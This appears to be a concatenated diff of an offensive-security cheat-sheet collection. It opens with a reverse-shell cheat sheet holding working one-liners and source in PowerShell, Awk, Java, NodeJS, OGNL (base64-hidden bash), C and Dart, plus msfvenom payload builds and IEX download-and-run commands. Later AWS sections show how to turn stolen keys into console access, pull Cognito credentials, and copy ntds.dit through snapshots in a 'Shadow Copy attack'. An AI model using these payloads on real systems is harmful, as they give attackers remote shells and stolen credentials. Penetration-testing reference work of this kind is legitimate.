powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
```powershell
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
```
### Awk
```powershell
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
### Java
```java
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
p.waitFor();
```
#### Java Alternative 1
```java
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
#### Java Alternative 2
**NOTE**: This is more stealthy
```java
Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();
```
### Telnet
```bash
In Attacker machine start two listeners:
nc -lvp 8080
nc -lvp 8081
In Victime machine run below command:
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
```
### War
```java
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file
```
### Lua
Linux only
```powershell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```
Windows and Linux
```powershell
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
### NodeJS
```javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
or
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
### OGNL
```java
(#a='echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg== | base64 -d | bash -i').(#b={'bash','-c',#a}).(#p=new java.lang.ProcessBuilder(#b)).(#process=#p.start())
```
With `YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg==` decoding to `bash -c 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1'`, the payload within the single quotes might be changed by any Linux-compatible reverse shell.
### Groovy
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)
NOTE: Java reverse shell also work for Groovy
```java
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
#### Groovy Alternative 1
**NOTE**: This is more stealthy
```java
Thread.start {
// Reverse shell here
}
```
### C
Compile with `gcc /tmp/shell.c --output csh && csh`
```csharp
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 4242;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
```
### Dart
```java
import 'dart:io';
import 'dart:convert';
main() {
Socket.connect("10.0.0.1", 4242).then((socket) {
socket.listen((data) {
Process.start('powershell.exe', []).then((Process process) {
process.stdin.writeln(new String.fromCharCodes(data).trim());
process.stdout
.transform(utf8.decoder)
.listen((output) { socket.write(output); });
});
},
onDone: () {
socket.destroy();
});
});
}
```
## Meterpreter Shell
### Windows Staged reverse TCP
```powershell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```
### Windows Stageless reverse TCP
```powershell
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
```
### Linux Staged reverse TCP
```powershell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```
### Linux Stageless reverse TCP
```powershell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```
### Other platforms
```powershell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
## Spawn TTY Shell
In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.
```powershell
rlwrap nc 10.0.0.1 4242
rlwrap -r -f . nc 10.0.0.1 4242
-f . will make rlwrap use the current history file as a completion word list.
-r Put all words seen on in- and output on the completion list.
```
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
:warning: OhMyZSH might break this trick, a simple `sh` is recommended
> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
```powershell
ctrl+z
echo $TERM && tput lines && tput cols
# for bash
stty raw -echo
fg
# for zsh
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
```
:warning: With Windows Terminal + WSL container, `[CTRL] + [Z]` can get you out of / freeze the container.
To overcome this issue, run `nc` in a `tmux`, and send a `SIGTSTP` signal to the `nc` process.
```bash
# Enter in tmux
tmux
# Do your netcat stuff ...
nc -lnvp 4242
# Create a new window in tmux
ctrl+b c
# Find the PID of the nc process (column PID)
ps aux # | grep -i nc | grep -vi grep
# Send a SIGTSTP (ctrl+z) signal to the process
kill -s TSTP <PID>
```
or use `socat` binary to get a fully tty reverse shell
```bash
socat file:`tty`,raw,echo=0 tcp-listen:12345
```
Alternatively, `rustcat` binary can automatically inject the TTY shell command.
The shell will be automatically upgraded and the TTY size will be provided for manual adjustment.
Not only that, upon exiting the shell, the terminal will be reset and thus usable.
```bash
stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969 && reset
```
Spawn a TTY shell from an interpreter
```powershell
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
```
* vi: `:!bash`
* vi: `:set shell=/bin/bash:shell`
* nmap: `!sh`
* mysql: `! bash`
Alternative TTY method
```ps1
www-data@debian:/dev/shm$ su - user
su: must be run from a terminal
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
Password: P4ssW0rD
user@debian:~$
```
## Fully interactive reverse shell on Windows
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
**ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).**
Server Side:
```ps1
stty raw -echo; (stty size; cat) | nc -lvnp 3001
```
Client Side:
```ps1
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
```
Offline version of the ps1 available at --> [antonioCoco/ConPtyShell/Invoke-ConPtyShell.ps1](https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1)
## References
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
* [Spawning a TTY Shell](http://netsec.ws/?p=337)
* [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)

View File

@@ -0,0 +1,102 @@
# AWS - Access Token & Secrets
## URL Services
| Service | URL |
|--------------|-----------------------|
| s3 | `https://{user_provided}.s3.amazonaws.com` |
| cloudfront | `https://{random_id}.cloudfront.net` |
| ec2 | `https://ec2-{ip-seperated}.compute-1.amazonaws.com` |
| es | `https://{user_provided}-{random_id}.{region}.es.amazonaws.com` |
| elb | `http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443` |
| elbv2 | `https://{user_provided}-{random_id}.{region}.elb.amazonaws.com` |
| rds | `mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306` |
| rds | `postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432` |
| route 53 | `{user_provided}` |
| execute-api | `https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}` |
| cloudsearch | `https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com` |
| transfer | `sftp://s-{random_id}.server.transfer.{region}.amazonaws.com` |
| iot | `mqtt://{random_id}.iot.{region}.amazonaws.com:8883` |
| iot | `https://{random_id}.iot.{region}.amazonaws.com:8443` |
| iot | `https://{random_id}.iot.{region}.amazonaws.com:443` |
| mq | `https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162` |
| mq | `ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617` |
| kafka | `b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com` |
| kafka | `{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com` |
| cloud9 | `https://{random_id}.vfs.cloud9.{region}.amazonaws.com` |
| mediastore | `https://{random_id}.data.mediastore.{region}.amazonaws.com` |
| kinesisvideo | `https://{random_id}.kinesisvideo.{region}.amazonaws.com` |
| mediaconvert | `https://{random_id}.mediaconvert.{region}.amazonaws.com` |
| mediapackage | `https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel` |
## Access Key ID & Secret
IAM uses the following prefixes to indicate what type of resource each unique ID applies to. The first four characters are the prefix that depends on the type of the key.
| Prefix | Resource type |
|--------------|-------------------------|
| ABIA | AWS STS service bearer token |
| ACCA | Context-specific credential |
| AGPA | User group |
| AIDA | IAM user |
| AIPA | Amazon EC2 instance profile |
| AKIA | Access key |
| ANPA | Managed policy |
| ANVA | Version in a managed policy |
| APKA | Public key |
| AROA | Role |
| ASCA | Certificate |
| ASIA | Temporary (AWS STS) access key |
The rest of the string is Base32 encoded and can be used to recover the account id.
```py
import base64
import binascii
def AWSAccount_from_AWSKeyID(AWSKeyID):
trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]
z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)
e = (z & mask)>>7
return (e)
print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
```
## Regions
* US Standard - [s3.amazonaws.com](http://s3.amazonaws.com)
* Ireland - [s3-eu-west-1.amazonaws.com](http://s3-eu-west-1.amazonaws.com)
* Northern California - [s3-us-west-1.amazonaws.com](http://s3-us-west-1.amazonaws.com)
* Singapore - [s3-ap-southeast-1.amazonaws.com](http://s3-ap-southeast-1.amazonaws.com)
* Tokyo - [s3-ap-northeast-1.amazonaws.com](http://s3-ap-northeast-1.amazonaws.com)
## Gaining AWS Console Access via API Keys
A utility to convert your AWS CLI credentials into AWS console access.
* Using [NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler)
```powershell
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED]
```
## References
* [A short note on AWS KEY ID - Tal Be'ery - Oct 27, 2023](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)
* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/)

View File

@@ -0,0 +1,70 @@
# AWS - CLI
The AWS Command Line Interface (CLI) is a unified tool to manage AWS services from the command line. Using the AWS CLI, you can control multiple AWS services, automate tasks, and manage configurations through profiles.
## Set up AWS CLI
Install AWS CLI and configure it for the first time:
```ps1
aws configure
```
This will prompt for:
* AWS Access Key ID
* AWS Secret Access Key
* Default region name
* Default output format
## Creating Profiles
You can configure multiple profiles in `~/.aws/credentials` and `~/.aws/config`.
* `~/.aws/credentials` (stores credentials)
```ini
[default]
aws_access_key_id = <default-access-key>
aws_secret_access_key = <default-secret-key>
[dev-profile]
aws_access_key_id = <dev-access-key>
aws_secret_access_key = <dev-secret-key>
[prod-profile]
aws_access_key_id = <prod-access-key>
aws_secret_access_key = <prod-secret-key>
```
* `~/.aws/config` (stores region and output settings)
```ini
[default]
region = us-east-1
output = json
[profile dev-profile]
region = us-west-2
output = yaml
[profile prod-profile]
region = eu-west-1
output = json
```
You can also create profiles via the command line:
```ps1
aws configure --profile dev-profile
```
## Using Profiles
When running AWS CLI commands, you can specify which profile to use by adding the `--profile` flag:
```ps1
aws s3 ls --profile dev-profile
```
If no profile is specified, the **default** profile is used.

View File

@@ -0,0 +1,85 @@
# AWS - Service - Cognito
AWS Cognito is an AWS-managed service for authentication, authorization, and user management.
1. A user signs in through Cognito User Pools (authentication) or via a federated IdP (Google, Facebook, SAML, etc.).
2. Cognito Identity Pools can then exchange this identity for temporary AWS credentials (from STS — Security Token Service).
3. These credentials (Access Key ID, Secret Access Key, and Session Token) let the app directly call AWS services (e.g., S3, DynamoDB, API Gateway) with limited IAM roles/policies.
## Tools
* [Cognito Scanner](https://github.com/padok-team/cognito-scanner) - A CLI tool for executing attacks on cognito such as *Unwanted account creation*, *Account Oracle* and *Identity Pool escalation*.
```ps1
# Installation
$ pip install cognito-scanner
# Usage
$ cognito-scanner --help
# Get information about how to use the unwanted account creation script
$ cognito-scanner account-creation --help
# For more details go to https://github.com/padok-team/cognito-scanner
```
## Identity Pool ID
* **User Pools** : User pools allow sign-in and sign-up functionality
* **Identity Pools** : Identity pools allow authenticated and unauthenticated users to access AWS resources using temporary credentials
Once you have the Cognito Identity Pool Id token, you can proceed further and fetch Temporary AWS Credentials for an unauthenticated role using the identified tokens.
```py
import boto3
region='us-east-1'
identity_pool='us-east-1:5280c436-2198-2b5a-b87c-9f54094x8at9'
client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool)
_id = _id['IdentityId']
credentials = client.get_credentials_for_identity(IdentityId=_id)
access_key = credentials['Credentials']['AccessKeyId']
secret_key = credentials['Credentials']['SecretKey']
session_token = credentials['Credentials']['SessionToken']
identity_id = credentials['IdentityId']
print("Access Key: " + access_key)
print("Secret Key: " + secret_key)
print("Session Token: " + session_token)
print("Identity Id: " + identity_id)
```
## AWS Cognito Commands
### Get User Information
```ps1
aws cognito-idp get-user --access-token $(cat access_token.txt)
```
### Admin Authentication
```ps1
aws cognito-idp admin-initiate-auth --access-token $(cat access_token)
```
### List User Groups
```ps1
aws cognito-idp admin-list-groups-for-user --username user.name@email.com --user-pool-id "Group-Name"
```
### Sign up
```ps1
aws cognito-idp sign-up --client-id <client-id> --username <username> --password <password>
```
### Modify Attributes
```ps1
aws cognito-idp update-user-attributes --access-token $(cat access_token) --user-attributes Name=<attribute>,Value=<value>
```
## References
* [Exploiting weak configurations in Amazon Cognito - Pankaj Mouriya - April 6, 2021](https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963)

View File

@@ -0,0 +1,34 @@
# AWS - Service - DynamoDB
> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
## List Tables
```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
{
"TableNames": [
"users"
]
}
```
## Enumerate Table Content
```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
}
```
## References
* [Amazon DynamoDB Documentation - AWS](https://docs.aws.amazon.com/dynamodb/)

View File

@@ -0,0 +1,125 @@
# AWS - Service - EC2
* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS's "public" mode
## Listing Information About EC2
```ps1
aws ec2 describe-instances
aws ec2 describe-instances --region region
aws ec2 describe-instances --instance-ids ID
```
## Copy EC2 using AMI Image
First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`
```powershell
# create a new image for the instance-id
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
## Mount EBS volume to EC2 Linux
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
1. Head over to EC2 > Volumes and create a new volume of your preferred size and type.
2. Select the created volume, right click and select the "attach volume" option.
3. Select the instance from the instance text box as shown below : `attach ebs volume`
```powershell
aws ec2 create-volume snapshot-id snapshot_id --availability-zone zone
aws ec2 attach-volume -volume-id volume_id -instance-id instance_id --device device
```
4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`
## Shadow Copy attack
**Requirements**:
* EC2:CreateSnapshot
* [Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy)
**Exploit**:
1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
2. Run `"Describe-Instances"` and show in list for attacker to select
3. Run `"Create-Snapshot"` on volume of selected instance
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
5. Load AWS CLI with Attacker Credentials
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
7. Ssh run `"sudo mkdir /windows"`
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path
## Access Snapshots
1. Get the `owner-id`
```powershell
$ aws --profile flaws sts get-caller-identity
"Account": "XXXX26262029",
```
2. List snapshots
```powershell
$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
"SnapshotId": "snap-XXXX342abd1bdcb89",
```
3. Create a volume using the previously obtained `snapshotId`
```powershell
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
```
4. In AWS console, deploy a new EC2 Ubuntu based, attach the volume and then mount it on the machine.
```ps1
ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
lsblk
sudo file -s /dev/xvda1
sudo mount /dev/xvda1 /mnt
```
## Instance Connect
Push an SSH key to EC2 instance
```powershell
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds
```
## References
* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/)

View File

@@ -0,0 +1,127 @@
# AWS - Enumerate
## Collectors
* [nccgroup/ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki) - Multi-Cloud Security Auditing Tool
```powershell
$ python scout.py PROVIDER --help
# The --session-token is optional and only used for temporary credentials (i.e. role assumption).
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token>
$ python scout.py azure --cli
```
* [RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu) - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set
```powershell
$ bash install.sh
$ python3 pacu.py
set_keys/swap_keys
run <module_name> [--keyword-arguments]
run <module_name> --regions eu-west-1,us-west-1
```
* [salesforce/cloudsplaining](https://github.com/salesforce/cloudsplaining) - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report
```powershell
pip3 install --user cloudsplaining
cloudsplaining download --profile myawsprofile
cloudsplaining scan --input-file default.json
```
* [duo-labs/cloudmapper](https://github.com/duo-labs/cloudmapper) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments
```powershell
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli build-essential
pipenv install --skip-lock
pipenv shell
report: Generate HTML report. Includes summary of the accounts and audit findings.
iam_report: Generate HTML report for the IAM information of an account.
audit: Check for potential misconfigurations.
collect: Collect metadata about an account.
find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges
```
* [cyberark/SkyArk](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins
```powershell
$ powershell -ExecutionPolicy Bypass -NoProfile
PS C> Import-Module .\SkyArk.ps1 -force
PS C> Start-AWStealth
PS C> Scan-AWShadowAdmins
```
* [BishopFox/CloudFox](https://github.com/BishopFox/CloudFox/) - Automating situational awareness for cloud penetration tests. Designed for white box enumeration (SecurityAudit/ReadOnly type permission), but can be used for black box (found credentials) as well.
```ps1
cloudfox aws --profile [profile-name] all-checks
```
* [toniblyx/Prowler](https://github.com/toniblyx/prowler) - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
```powershell
pip install awscli ansi2html detect-secrets
sudo apt install jq
./prowler -E check42,check43
./prowler -p custom-profile -r us-east-1 -c check11
./prowler -A 123456789012 -R ProwlerRole
```
* [nccgroup/PMapper](https://github.com/nccgroup/PMapper) - A tool for quickly evaluating IAM permissions in AWS
```powershell
pip install principalmapper
pmapper graph --create
pmapper visualize --filetype png
pmapper analysis --output-type text
# Determine if PowerUser can escalate privileges
pmapper query "preset privesc user/PowerUser"
pmapper argquery --principal user/PowerUser --preset privesc
# Find all principals that can escalate privileges
pmapper query "preset privesc *"
pmapper argquery --principal '*' --preset privesc
# Find all principals that PowerUser can access
pmapper query "preset connected user/PowerUser *"
pmapper argquery --principal user/PowerUser --resource '*' --preset connected
# Find all principals that can access PowerUser
pmapper query "preset connected * user/PowerUser"
pmapper argquery --principal '*' --resource user/PowerUser --preset connected
```
## AWS - Enumerate IAM permissions
Enumerate the permissions associated with AWS credential set with [andresriancho/enumerate-iam](https://github.com/andresriancho/enumerate-iam)
```powershell
git clone git@github.com:andresriancho/enumerate-iam.git
pip install -r requirements.txt
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
"RoleDetailList": [
{
"Tags": [],
"AssumeRolePolicyDocument": {
"Version": "2008-10-17",
"Statement": [
{
...
